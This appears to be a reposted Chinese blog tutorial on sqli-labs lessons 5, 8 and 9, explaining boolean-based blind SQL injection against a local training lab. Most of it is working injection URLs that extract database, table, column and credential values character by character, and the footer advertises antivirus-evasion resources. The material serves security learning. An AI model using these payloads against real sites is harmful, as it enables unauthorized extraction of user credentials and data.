sqli-labs less5,8,9详解(py脚本)

admin 2022年3月23日14:43:01评论61 views字数 6204阅读20分40秒阅读模式

声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系刘一手
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。仅供学习研究

输入 ?id=1'报错sqli-labs less5,8,9详解(py脚本)判断字段 ?id=1' order by 4 %23   报错 ?id=1' order by 3 %23  不报错 说明存在三个字段sqli-labs less5,8,9详解(py脚本)sqli-labs less5,8,9详解(py脚本)

你可能会觉得,使用下面这个就能爆出users表里面的用户名和密码,试试吧

http://127.0.0.1/sqlilabs/Less-5/?id=9999' union select 1,group_concat(username,'---',password),3 from users --+

sqli-labs less5,8,9详解(py脚本)还是 You are in…

大意了吧,这就是传说中的盲注,也是真实环境中经常遇到的情况,谁写代码,还给你那么多提示,统一返回一种提示,那这里显然就是You are in…sqli-labs less5,8,9详解(py脚本)对比一下这两关,less-5没有输出查询结果,只有当查询结果正确时会返回一个You are in.......,查询结果不正确的时候没有返回。没有输出查询结果有判断查询结果是否正确的因素,布尔型盲注

只要你的SQL语句能正常执行(可以查询到结果),就会显示You are in,比如:sqli-labs less5,8,9详解(py脚本)查询一个不存在的id,例如:id=9999,就会什么都不显示sqli-labs less5,8,9详解(py脚本)通过这个方式也证明了less5 存在布尔型盲注。一正一反,非黑即白,就给你两种提示,查到了,提示You are in,没查到黑屏,所以我们可以利用这种方式来进行爆破 当然一般遇见这种情况,大家都会选择burp或者sqlmap进行爆破,其实工具使用非常简单,我们这里多多演示手工过程(原理),其实工具就是把手工过程做成大量的请求,根据上一次返回值来进行下一次的请求发送

经常,盲注中也会用到sleep 但是既然他都给这两种提示了,我们就先不用sleep(看看后面有木有机会可以用到)

使用left 因为我们得不到任何提示,所以只能一个字母一个字母的去爆破,比如库,要把每一位取出来,然后和26个字母比较(或者和ascii码比较)

主要思路

主要思路一般是:找出闭合方法,利用截断函数对要查询的结果的每一位进行比较,通过回显判断对错来猜出查询结果

猜测数据库长度,大于10不成立,就大于5。。。最后是等于8

http://127.0.0.1/sqlilabs/Less-5/?id=1' and length(database())>10--+
里面的>10是用于判断数据库的长度,都可以使用二分查找的思路
http://127.0.0.1/sqlilabs/Less-5/?id=1'
and length(database())>10--+
...
http://127.0.0.1/sqlilabs/Less-5/?id=1' and length(database())=8--+

sqli-labs less5,8,9详解(py脚本)sqli-labs less5,8,9详解(py脚本)一共8位,我们就一位一位进行爆破吧,使用这种方法,慢慢来

http://127.0.0.1/sqlilabs/Less-5/?id=1' and left(database(),1)='a'--+
http://127.0.0.1/sqlilabs/Less-5/?id=1'
and left(database(),1)='s'--+
...
http://127.0.0.1/sqlilabs/Less-5/?id=1' and left(database(),2)='sa'--+
http://127.0.0.1/sqlilabs/Less-5/?id=1'
and left(database(),2)='se'--+
...
...
http://127.0.0.1/sqlilabs/Less-5/?id=1' and left(database(),8)='security'--+

sqli-labs less5,8,9详解(py脚本)sqli-labs less5,8,9详解(py脚本)sqli-labs less5,8,9详解(py脚本)sqli-labs less5,8,9详解(py脚本)sqli-labs less5,8,9详解(py脚本)爆表名

http://127.0.0.1/sqlilabs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit a,1),b,1))>n

a是从0开始第几个表,b从1开始为第几个字符,n是ASCII所对应的十进制数

ascii函数是求出ascii码最后结果和n比较
substr配合参数b一次找出表名的每一位
limit配合a找到每一张表

...


http://127.0.0.1/sqlilabs/Less-5/?id=1'
and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))=101 --+
这个payload是拿出当前数据库的第一张表的第一个字符,和e(101)比较


关键的攻击代码

第一张表(emails)
http://127.0.0.1/sqlilabs/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))='7 --+

http://127.0.0.1/sqlilabs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))=101 --+
http://127.0.0.1/sqlilabs/Less-5/?id=1'
and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),2,1))=109 --+
http://127.0.0.1/sqlilabs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),3,1))=97 --+
http://127.0.0.1/sqlilabs/Less-5/?id=1'
and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),4,1))=105 --+
http://127.0.0.1/sqlilabs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),5,1))=108 --+
http://127.0.0.1/sqlilabs/Less-5/?id=1'
and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),6,1))=115 --+

第二张表(referers)
http://127.0.0.1/sqlilabs/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))='8 --+
...

第三张表(uagents)
...

第四张表(users)
http://127.0.0.1/sqlilabs/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 3,1))='5 --+
http://127.0.0.1/sqlilabs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 3,1),1,1))=117 --+
http://127.0.0.1/sqlilabs/Less-5/?id=1'
and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 3,1),2,1))=115 --+
http://127.0.0.1/sqlilabs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 3,1),3,1))=101 --+
http://127.0.0.1/sqlilabs/Less-5/?id=1'
and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 3,1),4,1))=114 --+
http://127.0.0.1/sqlilabs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 3,1),5,1))=115 --+


列名与值
http://127.0.0.1/sqlilabs/Less-5/?id=1'
and (select length(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit a,1)=b--+
a从0开始,第a+1列的字段长度和b比较
http://127.0.0.1/sqlilabs/Less-5/?id=1' and ascii(substr((select username from users limit a,1),b,1))=c --+
a从0开始,b从1开始
第a+1条记录的第b位和c比较

关键payload
第一列
http://127.0.0.1/sqlilabs/Less-5/?id=1'
and (select length(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)=2--+
...

第二列(username)
http://127.0.0.1/sqlilabs/Less-5/?id=1' and (select length(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 1,1)=8--+
http://127.0.0.1/sqlilabs/Less-5/?id=1'
and ascii(substr((select username from users limit 0,1),1,1))=68 --+
http://127.0.0.1/sqlilabs/Less-5/?id=1' and ascii(substr((select username from users limit 0,1),2,1))=117 --+
http://127.0.0.1/sqlilabs/Less-5/?id=1'
and ascii(substr((select username from users limit 0,1),3,1))=109 --+
http://127.0.0.1/sqlilabs/Less-5/?id=1' and ascii(substr((select username from users limit 0,1),4,1))=98 --+
...

第二列(password)
http://127.0.0.1/sqlilabs/Less-5/?id=1'
and (select length(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 2,1)=8--+
http://127.0.0.1/sqlilabs/Less-5/?id=1' and ascii(substr((select password from users limit 0,1),1,1))=68 --+
http://127.0.0.1/sqlilabs/Less-5/?id=1'
and ascii(substr((select password from users limit 0,1),2,1))=117 --+
http://127.0.0.1/sqlilabs/Less-5/?id=1' and ascii(substr((select password from users limit 0,1),3,1))=109 --+
http://127.0.0.1/sqlilabs/Less-5/?id=1'
and ascii(substr((select password from users limit 0,1),4,1))=98 --+
...

sqli-labs8

手工过程就和前面的一样了,可以直接一步一步来(和第五关的方式一样,可以参考第五关的手工注入过程,把id的值替换成第五关的即可),或者使用python布尔型半自动化注入

sqli-labs9

ssqli-labs less9详解(附py脚本):

https://mp.weixin.qq.com/s/g_rYNeqy7FcfqHmlav82ig

python布尔型,延时半自动化注入

通过注入发现手工注入会非常的麻烦,非常的持久,为了解决这种问题 通过python进行半自动化注入

sqli-labs less5,8,9详解(py脚本)

脚本链接

https://t.zsxq.com/UR7qbAA


sqli-labs less5,8,9详解(py脚本)


鹏组安全在线武器库—免杀平台

sqli-labs less5,8,9详解(py脚本)



sqli-labs less5,8,9详解(py脚本)


推荐阅读



干货 | 渗透知识库(鹏组安全)


实战 | 记一次渗透测试(绕过某塔)


免杀 | mimikatz.exe bypass360全家桶




好文分享收藏赞一下最美点在看哦

原文始发于微信公众号(鹏组安全):sqli-labs less5,8,9详解(py脚本)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月23日14:43:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   sqli-labs less5,8,9详解(py脚本)http://cn-sec.com/archives/837455.html

发表评论

匿名网友 填写信息